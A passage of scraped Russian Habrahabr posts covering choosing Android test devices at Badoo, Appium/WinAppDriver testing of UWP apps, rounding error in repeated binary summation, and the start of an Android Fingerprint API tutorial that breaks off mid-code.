чтобы еще и сохранить скромность. Уверен, что я делаю всё правильно. Самое важное, что за этот год именно ведение блога дало мне самоощущение в профессиональной сфере. Я понял, где я нахожусь. Я понял, куда мне следует двигаться и как я мог бы к этому прийти. Поэтому я планирую продолжать в том же духе и будь что будет. Надеюсь, что в ближайшее время я смогу описать реальные кейсы и показать работающие продукты. Тут уже всё только в руках девелоперов… Всех с наступающим! А какое достижение Вы считаете своим самым главным в этом году?
https://habrahabr.ru/post/318024/
habrahabr
Что общего у мобильного QA и осьминога
['qa', 'android', 'мобильные приложения', 'фрагментация android', 'гаджеты и девайсы', 'тестирование', 'никто не читает теги']
Привет! Я Катя, и я – трудоголик тестировщик самого популярного приложения для новых знакомств. Итак, раннее утро, вы – мобильный QA. Вы приходите на работу, завариваете крепкий кофе и...
Привет! Я Катя, и я – трудоголик тестировщик самого популярного приложения для новых знакомств. Итак, раннее утро, вы – мобильный QA. Вы приходите на работу, завариваете крепкий кофе и хотите взять пару мобильных устройств для тестирования новой фичи, осознавая, какие муки выбора вам предстоят. Что это будут за устройства? Рано или поздно каждый мобильный тестировщик задаётся вопросом, на каком количестве устройств тестировать новый функционал, чтобы поймать максимальное количество девайсозависимых багов, потратив минимум времени. Автотесты ещё не написаны, перед вами абсолютно новые фичи. И если с iOS есть хоть какая-то ясность, и список устройств ограничен, то Android «расплодился» в полнейший ад. Вы удивитесь, но для счастья нужно всего три–четыре Android-устройства. Я хочу рассказать, как с точки зрения опытного тестировщика их выбрать. Зачем тестировать на разных девайсах и насколько опасна фрагментация Если ваше приложение только начинает путь к вершинам маркета приложений, то, казалось бы, для тестирования должно быть достаточно одного эталонного устройства от Google. Однако, если тысячи человек пользуются вашим приложением каждый день, то вам придётся задуматься о расширении «зоопарка» девайсов и лоб в лоб столкнуться с особенностями и проблемами, связанными с многообразием Sam Android-устройств. Пусть ваше приложение отлично работает под эмулятором, или на вашем нереально синем Pixel, однако в статистике популярных Android-устройств нет таких, которые занимают более 10% рынка, в отличие, например, от iOS-девайсов. Так что такое точечное тестирование не гарантирует отсутствия проблем у большинства пользователей. У разных устройств различные «улучшения» от производителей, разные версии ОС и железные характеристики – всё это может стать причиной девайсозависимых багов. Чем популярнее ваше приложение, тем больше устройств вам нужно для полной проверки. И чем больше функционала в вашем приложении, тем вероятнее, что вы столкнётесь с проблемами. И выход в этой ситуации один – копить девайсы. А вы пробовали играть в дженгу из смартфонов? В нашей компании большой парк мобильных устройств (на данный момент у нас около 60 различных Android смартфонов и планшетов) и стенд-автоматизаторов, где на реальных девайсах бегают автотесты. Тестировщик спит, автотесты работают! Какие баги мы ищем? Баги, которые вы можете встретить на каких-то девайсах, но не получить на других, можно условно разделить на три категории: связанные с производителем устройства – например, нестандартный API камеры или кастомная системная библиотека; связанные с версией ОС Android – например, несовместимые API и проблемы производительности (флагманы всего-то пятилетней давности и не мечтали о 512 Мб памяти); связанные с размером/ разрешением экрана, чипсетом и прочими различиями в железе. Чаще всего эти проблемы не взаимосвязаны, так что использовать pairwise testing не приходится. Знаете всё о таких багах? Тогда сразу переходите к разделу про выбор устройств . Баги производителей Производители современных мобильных устройств обожают изобретать велосипеды. Это касается всевозможных прошивок и модификаций интерфейса. В лучшем случае вы столкнётесь просто с багами с отображением интерфейса, который производитель изменил для определённых девайсов. Например, такие баги могут появляться из-за кастомных шрифтов или увеличения их размера по умолчанию. Ввиду такой реализации UI начинает искажаться (как на скрине), а значит, девелоперам придётся либо учитывать это, либо использовать собственный шрифт и не давать возможность использовать сторонние. Раньше эта проблема встречалась только на дешёвых китайских устройствах, но сейчас она добралась и до корейских флагманов (не хочется приводить конкретные примеры и делать производителям антирекламу). Стоит ли принимать во внимание такие девайсы, подскажет статистика по вашему приложению. Фантастическая К и где искать её работу и образование В худшем (для девелоперов) случае с производителем будут связаны уже более интересные глубинные проблемы и падения приложения из-за использования каких-нибудь самописных библиотек и методов. Кроме того, баги могут быть связаны с кастомными приложениями, с которыми будет взаимодействовать ваше ПО. Такими как, например, камера или встроенный файловый менеджер. В этом случае перед девелоперами встаёт выбор: писать свой собственный инструмент или отправлять пользователей из вашего идеального приложения в подсистемы производителя, откуда он уже не вернётся прежним. Проблемы с файловыми менеджерами в основном встречаются на китайских девайсах, возможно, вам о них и не стоит беспокоиться. А вот с камерой сложности возникают чаще. Настойчивая забота о здоровье! Любые особенности камеры, которые реализовал производитель, могут отразиться на работе вашего приложения и привести к крашам, проблемам с автофокусировкой, перевёрнутой картинке и так далее. Как и в предыдущем случае, вам придется принимать решение исходя из процента затронутых юзеров, и тут два варианта: либо писать собственную кастомную камеру, либо исправлять фоточки на лету. Таким образом, для качественного тестирования нам нужен девайс с изменённой, неванильной прошивкой и множеством собственных приложений и предустановок от производителя. Идеально подходят девайсы Samsung и Sony. Баги Android’a Девелоперы любят использовать всё новое и интересное, но не всегда любят гуглить таблицы совместимости разных API и версий ОС. Девелоперы крепко спят, но нам, тестировщикам покоя нет – с несовместимостью версий связано большое количество потенциальных багов. Тут нам достаточно вооружиться девайсами с наиболее популярными версиями ОС. Их, как правило, не очень много. С выбором вам поможет мой любимый сайт Android Developers . Стоит учесть и вашу собственную статистику по устройствам, потому что ваше приложение может накладывать свой отпечаток на пользовательскую базу. Поиск багов для самой свежей версии ОС, безусловно, очень важен: примерно через год эта версия станет самой популярной. Всё-таки ваше приложение не должно падать на родных девайсах от Google. С другой стороны, пока что девайсов с последней на текущий момент версией ОС Nougat мало, и обновления выкатываются редко. Поэтому можно либо доверить поиск таких багов автотестам, либо иногда проводить ручной прогон регресс-тестов на таких устройствах. Главное – не упустить какую-нибудь потенциальную опасность, как, например, агрессивный Doze Mode и его последствия , особенно если ваше приложение отслеживает подключение к Интернету. Не только девелоперы, но и тестировщики должны следить за изменениями, произошедшими в свежих версиях Android. Не все Андроиды любят овалы! Другая группа проблем возникает на слабых девайсах. Операционная система Android не накладывает ограничений на используемое железо, чем не преминули воспользоваться многие производители, чтобы сэкономить на всём. Практически любое приложение упадёт при нехватке памяти на слабом мобильном устройстве. Полностью защититься от этого невозможно, но стоит это учитывать, особенно если вы используете какие-нибудь «прожорливые» функции вроде видеозвонков или записи видео. Для тестировании вам обязательно нужен слабенький девайс – необходимо следить за тем, чтобы приложение на нём адекватно функционировало. Интересными кейсами будут тесты работы при малом количестве оперативной памяти или недостатке внутренней памяти. Кривые разрешения и режимы Похожи или разные? Строго говоря, эти проблемы не всегда относятся к девайсозависимым, чаще это просто недоработки, связанные с интерфейсом вашего приложения. Однако популярность тех или иных разрешений и размеров экрана тесно связана с популярностью устройств, и эти показатели постоянно меняются. Также производители могут добавить что-нибудь интересное, например, возможность выбора Pixel Density, как на OnePlus 3 (а в Nougat так вообще по умолчанию прямо из настроек). Невзирая на статистику по популярным разрешениям и размерам экранов, для тестирования стоит использовать и планшет: он позволяет поймать такие проблемы, как забытые в форме элементы интерфейса (которые на маленьком экране окажутся за пределами экрана, но на большом станут видны), забытое выравнивание для текстов или картинок, которые на маленьком экране будут казаться на месте. Возможно, такие ошибки не очень критичны, но могут плохо сказаться на репутации вашего приложения. Итоги: выбираем девайсы Как правило, тестировщик начинает работу с утреннего кофе позитивных тестов, так что для начала вам нужен идеальный девайс для позитивного тестирования. Наиболее подходящими устройствами для этого являются самые популярные устройства пользователей вашего приложения. Статистику по устройствам можно найти в Google Play Store Developer Console или Google Analytics. Другими полезными ссылками поделюсь в конце поста. Для позитивных тестов также неплохо подходят родные гугловые девайсы. Они дадут вам чистые тесты, а значит, при обнаружении каких-либо ошибок на остальных устройствах будет сразу понятно, что они каким-то образом связаны с данным устройством. Выбирать будем так: Выясняете, какие девайсы самые популярные для вашего приложения на текущий момент Проверяете актуальную информацию по версиям Android и разрешениям экрана (или воспользуйтесь собственной статистикой из Google Play Developer Console). Выбираете наиболее популярный девайс для проведения позитивных тестов. Из остальных популярных девайсов выбираете слабое устройство с самым маленьким разрешением экрана. Проверяете, все ли популярные версии Android, разрешения и размеры экрана охвачены выбранными устройствами. Плюс: выбираете самый популярный планшет (как дополнительный девайс). Как правило, всего три устройства покрывают бо́льшую часть всевозможных различий. Это наш выбор! Сейчас на Badoo более 333 миллионов зарегистрированных пользователей по всему миру, а количество установок на платформе Android превысило 100 миллионов. Давайте прогоним этот алгоритм на данных, актуальных для Badoo, пока остывает кофе. Самые популярные устройства (по данным собственной статистики; не буду указывать точные проценты, так как это значение очень быстро меняется, популярность тут не более 5% по каждому из устройств): Samsung Galaxy S4; Samsung  Galaxy S5; Samsung Galaxy S6; Samsung Galaxy S7. Самые популярные версии Android (эти данные от Google очень близки к нашей собственной статистике): Android 6.0 – 26,3%; Android 4.4 – 24%; Android 5.1 – 23,2%; Android 5.0 – 10,8%. Самые распространенные размеры и разрешения экрана девайсов (эти данные от Google также очень близки к нашей собственной статистике): Normal с HDPI – 38,0%; Normal с XHDPI – 31,4%; Normal с XXHDPI –15,8%; разрешение MDPI также популярно (9,4%), но среди девайсов с различными размерами экрана. Расшифровка этой таблицы. Популярные производители мобильных устройств (статистика по популярным производителям зависит от стран, в которых сейчас популярно ваше приложение. Для нас это): Samsung; Motorola; Huawei; LG. Если проанализировать все эти данные, то, на текущий момент, идеальным устройством для позитивных тестов для нас является Samsung Galaxy S6 с Android 6.0 и XXHDPI large/normal screen . Поскольку Samsung Galaxy S3 c Android 4.4 и XHDPI normal screen ( UPD: SGS3, который S3 Neo) является популярным устройством с самым маленьким экраном ( UPD: по сравнению с SGS4 и SGS6) и, при этом достаточно слабым (это довольно старое устройство 2014 года выпуска), то он отлично подходит для негативного тестирования. Плюс берём Samsung Galaxy S4 c Android 5.0 и XHDPI normal screen , он идеально дополнит набор популярной версией Android 5.0 и средним размером экрана. На основе этих трёх девайсов мы получим следующее покрытие Android-фрагментации: – версии Android: 26,3+24+10,8=61,1%, но нужно прибавить сюда 23,2 и получить целых 84,3% (т.к. баги, которые встречаются только на версии 5.0, но не встречаются на 5.1 – большая редкость); – размеры экрана: 6,7+ 88,3= 95% ; – разрешения экрана: 32,4+15,8=48,2%, но нужно прибавить сюда 38,8 и получить целых 87% ( UPD: т.к. мы мы используем разные модели SGS3 для тестирования, SGS3, SGS3 Neo и SGS3 mini). То есть при помощи всего трёх-четырех устройств мы получаем покрытие более 80% по всем интересующим нас различиям между Android-девайсами. Если у вас не получается покрыть около 80% по какому-либо показателю, значит, нужно добавить ещё одно устройство. Но как правило, трёх вполне достаточно. Хорошими дополнениями могут стать: – планшет; – устройство с чистым Android; – девайс, который увеличит покрытие по популярным производителям устройств. Я обычно добавляю Asus Nexus 7 (2013) как планшет с чистым Android. Также подходит Huawei MediaPad M2. То есть четыре устройства – это идеальный комплект Android-тестировщика, а значит, осьминог будет идеальным тестировщиком (по два щупальца на девайс)! Берём Asus Nexus 7, Samsung Galaxy S3, S4 и S6 и идём пить кофе! Как оказалось, всё не так страшно, а кофе ещё даже не остыл. Ссылки по теме Статистика от Google Расшифровка по размерам и разрешениям экранов Android-девайсов Gsm Arena — лучший сайт, где можно найти информацию практически по любому Android-девайсу О Doze Mode Графики о фрагментации Статистика AnTuTu BrowserStack с неплохим разделеним по специфике для регионов Отличная статья с tips & tricks в тестировании мобильных приложений Полезные материалы для начинающего мобильного тестировщика И в заключение мой доклад с конференции для мобильных тестировщиков Mobile ConfeT&QA (осень 2013 года), который я актуализировала и дополнила в этом посте P.S. Стикеры из поста. Екатерина Михеева, Android QA
https://habrahabr.ru/company/badoo/blog/317964/
habrahabr
Тестирование UWP приложений с помощью Appium
['appium', 'uwp', 'WinAppDriver', 'тестирование', '.net']
На данный момент UWP приложения используют в качестве решения для тестирования через интерфейс Coded UI. Но если у вас приложение под несколько платформ, то в этом случае вам придется писать...
На данный момент UWP приложения используют в качестве решения для тестирования через интерфейс Coded UI. Но если у вас приложение под несколько платформ, то в этом случае вам придется писать тесты под каждую платформу отдельно. В 2016-ом году была анонсирована возможность тестирования UWP приложений с помощью Appium . Для этого был создан драйвер под названием Windows Application Driver (WinAppDriver). Selenium , использующий WebDriver API , был создан для автоматического тестирования веб приложений. Appium это фактически Selenium для Apps. Тестировать с помощью Appium и WinAppDriver можно не только UWP, но и Win32 приложения (о .NET почему-то не упоминают, но можно тестировать и их). Мне же, как обычно, UWP приложения наиболее интересны. Установка WinAppDriver Скачиваем последний релиз со странички релизов на GitHub После установки в директории C:\Program Files (x86)\Windows Application Driver будет расположен исполняемый файл WinAppDriver.exe, запустив который можно запустить сервис Можно установить и Appium, который будет взаимодействовать с WinAppDriver, но WinAppDriver устанавливать нужно в любом случае. WinAppDriver должен устанавливаться вместе с Appium, но на момент написания статьи еще есть какие-то накладки, так что его приходится устанавливать отдельно. На всякий случай, давайте оставлю под спойлером как установить Appium на машину с Windows. Как установить Appium на Windows 10 с помощью пакетного менеджера npm Для работы с Appium необходим Node.js версии 6.0 или выше и npm версии 3.5 и выше Проверить версию Node.js можно с помощью команды консоли node –v Версию npm npm –v Скачать установщик Node.js можно с официального сайта При установке устанавливается и npm Если установленные версии выше чем минимально требуемые, то можно следующей командой запустить установку (командная строка должна быть запущена от имени администратора): npm install –g appium Теперь в командной строке можно запустить appium и получить следующее сообщение: Создание проекта приложения для тестирования Создадим простое UWP приложение, которое сразу же и протестируем. Пусть приложение совершает какую-нибудь простую операцию, например, возведение числа в квадрат. Исходный код демо приложения проще некуда. В MainPage.xaml добавим: <StackPanel Orientation="Vertical" Background="{ThemeResource ApplicationPageBackgroundThemeBrush}"> <TextBlock Margin="0,25,0,0" TextAlignment="Center">Введите число:</TextBlock> <TextBox AutomationProperties.Name="txtNumber" x:Name="txtNumber" Margin="0,5,0,0" FontSize="18" Width="150"> </TextBox> <TextBlock Margin="0,25,0,0" TextAlignment="Center">Результат:</TextBlock> <TextBox AutomationProperties.Name="txtResult" x:Name="txtResult" TextAlignment="Center" FontSize="18" Width="150"> </TextBox> <Button AutomationProperties.Name="btnGetSquare" x:Name="btnGetSquare" Margin="0,20,0,0" HorizontalAlignment="Center" Click="btnGetSquare_Click"> Возвести в квадрат </Button> </StackPanel> А MainPage.xaml.cs только одно событие: private void btnGetSquare_Click(object sender, RoutedEventArgs e) { double n = Convert.ToDouble(txtNumber.Text); txtResult.Text = (n * n).ToString(); } Из манифеста нам необходимо сохранить Package family name. Оно необходимо для написания теста. Это же значение можно взять и из файла vs.appxrecipe, который находится в папке Debug/AppX. Значение содержится внутри RegisteredUserModeAppID. Перед тем, как тестировать приложение, необходимо его развернуть. Вот такое приложение получилось: С помощью утилиты inspect.exe , которая расположена в директории C:\Program Files (x86)\Windows Kits\10\bin\x86 можно определить наименования элементов для использования в тесте. Запустив приложение, которое необходимо протестировать, можно или выбрать в дереве любой интересующий контрол или даже просто кликнуть на контрол в окне самого приложения. Получим приблизительно такую информацию: Для поиска элемента обычно используются следующие значения: ClassName и Name. С драйвером IOs можно использовать поиск элемента по его AutomationId. Создание проекта автоматизированного тестирования В Visual Studio создаем проект типа Unit Test В менеджере пакетов NuGet находим и устанавливаем Appium.WebDriver вместе с необходимыми для его работы зависимыми пакетами. Для работы с UWP приложением может быть использован RemoteWebDriver, а может быть использован IOSDriver. Скорее всего после окончательного релиза появится какой-то третий драйвер именно под платформу Windows. Windows Namespace должен быть включен в NuGet пакет Appium .NET Driver. Пишем код теста. В данном случае он может быть таким: [TestClass] public class UnitTest1 { protected const string AppDriverUrl = "http://127.0.0.1:4723"; protected static RemoteWebDriver AppSession; [ClassInitialize] public static void Setup(TestContext context) { DesiredCapabilities cap = new DesiredCapabilities(); cap.SetCapability("app", "6b86c2c7-c428-4039-9281-8da10ee45769_dyre41xy79knw!App"); AppSession = new RemoteWebDriver(new Uri(AppDriverUrl), cap); Assert.IsNotNull(AppSession); } [ClassCleanup] public static void TestsCleanup() { AppSession.Dispose(); AppSession = null; } [TestMethod] public void MakeOperation() { AppSession.FindElementByName("txtNumber").Clear(); AppSession.FindElementByName("txtNumber").SendKeys("5"); AppSession.Manage().Timeouts().ImplicitlyWait(TimeSpan.FromSeconds(1)); AppSession.FindElementByName("btnGetSquare").Click(); AppSession.Manage().Timeouts().ImplicitlyWait(TimeSpan.FromSeconds(1)); RemoteWebElement txtResultTextElement; txtResultTextElement = AppSession.FindElementByName("txtResult") as RemoteWebElement; Assert.IsNotNull(txtResultTextElement); Assert.AreEqual("25", txtResultTextElement.Text); AppSession.Quit(); } } Если используется IOSDriver, то код инициализации изменяется на следующий: protected const string AppDriverUrl = "http://127.0.0.1:4723"; protected static IOSDriver<IOSElement> AppSession; [ClassInitialize] public static void Setup(TestContext context) { DesiredCapabilities cap = new DesiredCapabilities(); cap.SetCapability("app", "6b86c2c7-c428-4039-9281-8da10ee45769_dyre41xy79knw!App"); AppSession = new IOSDriver<IOSElement>(new Uri(AppDriverUrl), cap); Assert.IsNotNull(AppSession); } Как вы можете заметить изменения минимальные. Код теста MakeOperation остается прежним. Дополнительно можно (а если запускаете Appium, то даже нужно) указывать платформу и устройство: cap.SetCapability("platformName", "Windows"); cap.SetCapability("deviceName", "WindowsPC"); Если вы запустили WinAppDriver, то строка URL: protected const string AppDriverUrl = "http://127.0.0.1:4723"; Ну а если запустили Appium, то: protected const string AppDriverUrl = "http://127.0.0.1:4723/wd/hub"; Запустим тест на выполнение. Можно таким образом: И в случае, если все верно, получим: Небольшая анимация автоматизированного процесса: Напоследок, приведу стандартный пример работы с Win32 приложением: DesiredCapabilities cap = new DesiredCapabilities(); cap.SetCapability("app", @"C:\Windows\System32\notepad.exe"); AppSession = new RemoteWebDriver(new Uri("http://127.0.0.1:4723"), cap); AppSession.FindElementByClassName("Edit").SendKeys("Привет Appium!"); Этот пример открывает блокнот и вводит текст. Для тестирования .NET приложения точно так же достаточно прописать путь к исполняемому файлу. Пара ссылок: Страничка на GitHub Страничка официальной документации: Windows Application UI Testing
https://habrahabr.ru/post/316858/
habrahabr
Рекуррентные формулы для расчета ошибок итерационного суммирования двоичных чисел ограниченной длины
['ошибки компьютерных вычислений', 'ieee 754', 'двоичная арифметика', 'погрешности округления', 'EXCEL']
В настоящей статье мы продолжим рассмотрение проблемы компьютерных вычислений десятичных чисел с помощью двоичной арифметики, которая была затронута в предыдущем топике [1]. В статье речь пойдет об...
В настоящей статье мы продолжим рассмотрение проблемы компьютерных вычислений десятичных чисел с помощью двоичной арифметики, которая была затронута в предыдущем топике [1]. В статье речь пойдет об ошибках, которые в литературе принято называть ошибками округления. И, в частности, ошибок, которые порождаются в результате итерационного суммирования большого числа одинаковых десятичных чисел, представленных в двоичном виде ограниченным разрядным пространством. В результате исследований были получены простые рекуррентные соотношения, позволяющие точно определить ошибку компьютерных итерационных вычислений частичных сумм любого количества одинаковых слагаемых, на любом шаге итерации. Будем рассматривать действительные положительные двоичные числа с фиксированным количеством L значащих цифр. Под фиксированным количеством L значащих цифр будем понимать L цифр, отсчет которых производится слева направо, начиная от старшей ненулевой цифры. Недостающее до L количество цифр в числе справа дополняется нулями. Так, если количество значащих цифр зафиксировать значением L=5, то число 0.0011 будет иметь следующие значащие цифры: 11000. Если теперь записать наше число в 5-разрядный компьютер, как число с плавающей точкой, то в область машинной мантиссы будет записано: .11000. Это число будет представлено в компьютере в нормализованном виде с экспонентой, равной 2^-2. Число с плавающей точкой записывается в машинном слове, как произведение дробной мантиссы на экспоненту, порядок которой указывает на положение точки в числе, представленном в естественной форме. Если число цифр мантиссы числа не совпадает с количеством L разрядов машинной мантиссы, число нормализуют, сдвигая мантиссу в ту или иную сторону так, чтобы старшая ненулевая цифра числа располагалась в старшем разряде машинной мантиссы. При этом порядок экспоненты корректируют на число сдвигов. Рассмотрим число в естественной форме. Если количество его значащих цифр превышает некоторое фиксированное количество L цифр, то оно должно быть преобразовано таким образом, чтобы количество его значащих цифр стало равно L. Это достигается путем отбрасывания лишних младших цифр. При отбрасывании младших цифр, число может быть округлено до L разрядов, или в нем просто усекаются лишние младшие цифры. Так, в случае усечения, двоичное число 10.0011, представленное в естественном виде, для L=5, будет записано как 10.001. То же число, записанное в экспоненциальном нормализованном виде, будет выглядеть как 0.10001*2^2. Здесь мы имеем две эквивалентные записи одного и того же числа. Приведение числа, представленного в естественном виде, к числу с количеством значащих цифр L, будем называть оптимизацией. Мы вводим это понятие, чтобы отличать его от операции нормализации чисел, записанных в экспоненциальном виде. С математической точки зрения это две эквивалентные операции. Далее будем рассматривать случай усечения младших цифр в двоичном числе без округления. Числа будем рассматривать представленными в естественном виде. Пусть мы имеем некоторое число 2^p ≤Z 0. Если цифра расположена справа от точки, то p Рассмотрим последовательность действительных двоичных чисел X 0 , X 1 ,… X i ..., лежащих в интервалах: 2^p ≤ X 0 1 i Например, для p=-3 мы будем иметь 2^p = 2^-3= 0.001. Наша последовательность тогда будет выглядеть как 0.001 ≤ X 0 1 i Возьмем некоторое действительное число 2^(i+p) ≤ X i i элементарных слагаемых: Z+Z+...= k i Z, где Z= X 0 , k i ≥ 0 — целое число. Выберем k i таким, чтобы 2^ (i+p) ≤ X i + k i Z i элементарных слагаемых Z, при котором значение суммы не превысит правую границу интервала, можно найти по формуле k i =⌊(2^(i+p+1)-X i )/Z⌋, где скобки ⌊ ⌋ означают округление до ближайшего целого в меньшую сторону. Если теперь к X i + k i Z прибавить еще одно элементарное слагаемое Z, получим X i+1 = X i + k i Z+Z= X i +Z(k i +1) ≥ 2^( i+p +1). Значение вновь полученной суммы превысит или будет равно правому граничному значению интервала. Поэтому количество цифр в числе X i+1 = X i +Z(k i +1) станет L+1. Чтобы выполнить требование равенства количества значащих цифр величине L, полученное число надо оптимизировать, т.е. привести к числу, в котором будет L значащих цифр. Для этого в нем надо отбросить младшую цифру. Операцию отбрасывания младшей цифры в числе X i будем записывать как X i ¬1 . Например, если в числе X=10.0011 отбросить одну младшую цифру, то оно будет записано как X ¬1 =10.001. В общем случае, запись X ¬t будет означать, что в числе X отброшено t младших разрядов. После того, как на определенном итерационном шаге частичная сумма X i+1 =X i +Z(k i +1) превысит значение 2^( i+p +1), которое мы будем называть правым граничным значением, старшая ненулевая цифра суммы окажется смещенной относительно фиксированной точки влево. Общее количество значащих цифр превысит число L на единицу и результат должен быть оптимизирован. Поскольку на i-м шаге итерации в результате оптимизации, в числе X i младшая цифра отбрасывается, то число становится равным X i ¬1 , тогда младшая цифра в слагаемом Z также может быть отброшена, т.к. на дальнейшие вычисления она влиять не будет. Например. Пусть L=5. Найдем сумму двух чисел X =1.10111 и Z=0.10011. Т.к. количество цифр в X превышает величину L, оно должно быть оптимизировано. После оптимизации получим: X ¬1 =1.1011. Прибавим к этому числу Z=0.1001**1**. Получим X ¬1 + Z =1.1011+0.1001**1**=10.0100**1**. Здесь количество цифр после запятой в слагаемом X ¬1 меньше количества цифр в слагаемом Z. Поэтому младшая цифра в Z, помеченная жирным шрифтом, с одной стороны, всегда складывается с нулем, а с другой, результат сложения младших цифр в этом случае оказывается вне диапазона L значащих цифр и, следовательно, при усечении, не влияет на общую сумму. Отсюда следует, что сумма не изменится, если ее записать как X ¬1 + Z ¬1 =1.1011+0.1001=10.0100. Поскольку в этой сумме количество цифр превысило величину L, то полученное число также должно быть оптимизировано. Отбросив младшую цифру, мы получим оптимизированное число 10.010 с L=5 значащими цифрами. Таким образом, значения частичных сумм X i и X i+1 отличаются максимум на k i элементарных слагаемых. Количество значащих цифр частичных сумм, лежащих в интервале [X i , X i+1 ) равно L и поэтому их значения вычисляются без округлений и, соответственно, не вносят ошибок. Прибавление (k i+1 )-ого слагаемого к частичной сумме приводит к превышению правого граничного значения или его равенству. Если частичная сумма на каком-то шаге итерации превышает правое граничное значение или равно ему, то количество значащих цифр в сумме становится равным L+1 и требуется оптимизация. После каждого превышения правого граничного значения, количество значащих цифр элементарных слагаемых Z, принимающих участие в образовании новых частичных сумм уменьшается на единицу и после i-го правого граничного значения элементарное слагаемое становится равным Z ¬i . X i+1 = (X i + (k i+1 +1)Z ¬i ) ¬1 , X 0 =Z, i=0,1… k i+1 =⌊(2^(p+i)-X i )/Z ¬i ⌋, p- целое число со знаком. Номер шага итерации N i+1 , на котором частичная сумма X i+1 превысила правое граничное значение можно определить по рекуррентному соотношению: N i+1 =(k i+1 +1)+N i . Рассмотрим теперь, какую ошибку мы получаем при итерационном суммировании десятичных действительных чисел, представленных в двоичном виде, в результате операции усечения. Известно, что любое десятичное число X, представленное в двоичном виде, после усечения количества значащих цифр, может быть записано как X= B +g, где B- представление десятичного числа X в двоичном виде с ограниченным фиксированным количеством значащих цифр, g — абсолютная погрешность представления числа в результате усечения. Эта погрешность может быть определена как g = X-B, g ≥0. При суммировании i элементарных слагаемых эта ошибка накапливается и становится равной ig. Однако, это не единственная ошибка, которая образуется при рекуррентном сложении одинаковых элементарных слагаемых. В результате округления или усечения, при рекуррентном вычислении частичных сумм, образуются также ошибки округления. Выведенные нами рекуррентные соотношения позволяют на любом шаге итерации получить точные значения ошибки вычисления суммы элементарных слагаемых, имеющих одинаковые значения. Рассмотрим для примера частичные суммы элементарных слагаемых Z = 0.0011101, для которых L =5. Для числа Z мы будем иметь p = 0.001. В Таблице 1 приведены результаты сложения 10 элементарных слагаемых для каждого шага итерации. В столбце 1 таблицы представлены номера i частичных сумм X i , которые превысили или стали равны правой границе интервала. Во втором столбце приведены номера итераций j. В столбце 3 приведены обозначения частичных сумм X i при определенном значении i. В столбце 4 таблицы приведены друг под другом, соответственно, обозначения частичных сумм S j и элементарных слагаемых Z ¬i для каждого шага итерации. В столбце 5 приведены друг под другом, соответственно, значения частичных сумм S j и элементарных слагаемых Z ¬i для каждого шага итерации. Красным шрифтом отмечены разряды чисел, которые не принимают участие в образовании частичных сумм. В столбце 6 приведены значения коэффициентов k i+1 +1, которые используются в нашей рекуррентной формуле для вычисления X i+1 . В столбце 7 приведены друг под другом, соответственно, значения частичных сумм S j и элементарных слагаемых Z ¬i для каждого шага итерации в десятичном виде. В столбце 8 приведены теоретические значения сумм элементарных слагаемых Z при условии, что погрешности округления не учитываются. В столбце 9 представлены значения абсолютных погрешностей вычисления на каждом шаге итерации, которые рассчитаны по формуле Δ=(S j ) 10 — jZ ¬0 . В столбце 9 представлены значения относительных погрешностей, вычисляемых по формуле: δ= Δ/jZ ¬0 . Как видно из приведенной таблицы, даже при условии, что элементарные слагаемые представлены точно, без погрешностей представления, в процессе итерационного суммирования очень быстро образуется такая величина погрешности, что вычисления на определенном шаге итерации становятся бессмысленными. Причина этой погрешности кроется в ограниченности машинного слова, а также в процедуре нормализации, или, в нашем случае, оптимизации представления чисел. Ниже мы приводим Таблицу 2, в которой представлены значения частичных сумм при итерационном суммировании десятичного числа 0.1 в двоичном виде с фиксированным количеством значащих цифр, для 51 разрядной мантиссы. В таблице приведены значения частичных сумм в точках превышения правых граничных значений. Числа, выделенные жирным шрифтом в таблице, являются двоичными. Невыделенные жирным шрифтом числа, это числа, представленные в десятичном коде. В этой таблице приведены значения частичных сумм X i , значения коэффициентов k i+1 +1 для нахождения очередной частичной суммы X i+1 в соответствие с нашими рекуррентными соотношениями. Номер шага итерации N i+1 , на котором очередная частичная сумма превысила правое граничное значение можно определить по рекуррентному соотношению: N i+1 =(k i+1 +1)+N i . Как видно из Таблицы 2, при числе итераций 5368712233 уже в 6 знаке частичной суммы мы имеем неверную цифру. Абсолютная ошибка вычислений для этого случая составляет Δ= 536871223.3- 536870912.084052=311.215948. А относительная ошибка будет равна δ=311.215948/536871223.3≈0.0000006=0.00006%. В то же время, если вычислить погрешность представления десятичного числа 0.1 в двоичном виде с 51 значащей цифрой, то мы будем иметь: 0.1=0.0001100110011001100110011001100110011001100110011001100≈ 0.09999999999999997779 Δ=0.1-0.09999999999999997779≈2.221*10^(-17), δ=2.221*10^(-17)/0.1=2.221*10^(-16)=14*10^(-14)%. На шаге итерации, равном 5368712233, суммарная абсолютная погрешность представления принимает значение 5368712233*14*10^(-18)≈ 0.000000075. Относительная же погрешность представления не меняется при любом шаге итерации. Как мы видим, абсолютная погрешность представления оказывается ничтожно малой по сравнению с погрешностью округления при итерационном суммировании. Представленные нами здесь рекуррентные формулы позволили получить точные расчетные погрешности округления при итерационном суммировании большого числа одинаковых десятичных слагаемых, представленных в двоичном коде. Автор благодарит пользователя mayorovp за обнаруженные неточности. ЛИТЕРАТУРА 1. habrahabr.ru/post/309812
https://habrahabr.ru/post/317786/
habrahabr
Android Fingerprint API: приделываем аутентификацию по отпечатку
['android development', 'fingerprint api', 'tutorial']
Привет, Хабр! Прошло достаточно много времени, как появился Fingerprint API для Android, в сети много разрозненных сэмплов кода по его внедрению и использованию, но на Хабре по какой-то причине эту...
Привет, Хабр! Прошло достаточно много времени, как появился Fingerprint API для Android, в сети много разрозненных сэмплов кода по его внедрению и использованию, но на Хабре по какой-то причине эту тему обходили стороной. На мой взгляд, настало время исправить это недоразумение. Всех заинтересовавшихся прошу под кат. Кратчайший ликбез Итак, что же представляет собой Fingerprint API? API позволяет пользователю аутентифицироваться посредством своего отпечатка, очевидно . Для работы с сенсором API предлагает нам FingerprintManager , достаточно простой в освоении. Как его использовать? А вот это уже интереснее. Практически везде, где требуется аутентификация по паролю, можно прикрутить аутентификацию по отпечатку. Представьте себе приложение, состоящее из LoginActivity и MainActivity . При запуске мы попадаем на экран логина, вводим пин-код, проходим к данным. Но мы хотим заменить вход по пин-коду на вход по отпечатку. К слову, полностью заменить не получится, мы можем лишь избавить пользователя от ручного ввода пин-кода, подставляя ранее сохраненный пин-код (имеется ввиду клиент-серверное приложение, в котором нужно отправить пароль серверу). Приступим. Где сенсор? Чтобы начать получать профит от нового API, первым делом нужно добавить permission в манифесте: <uses-permission android:name="android.permission.USE_FINGERPRINT"/> Само собой, использовать Fingerprint API можно только на устройствах, его поддерживающих: соответственно, это устройства Android 6+ с сенсором. Совместимость можно легко проверить с помощью метода: public static boolean 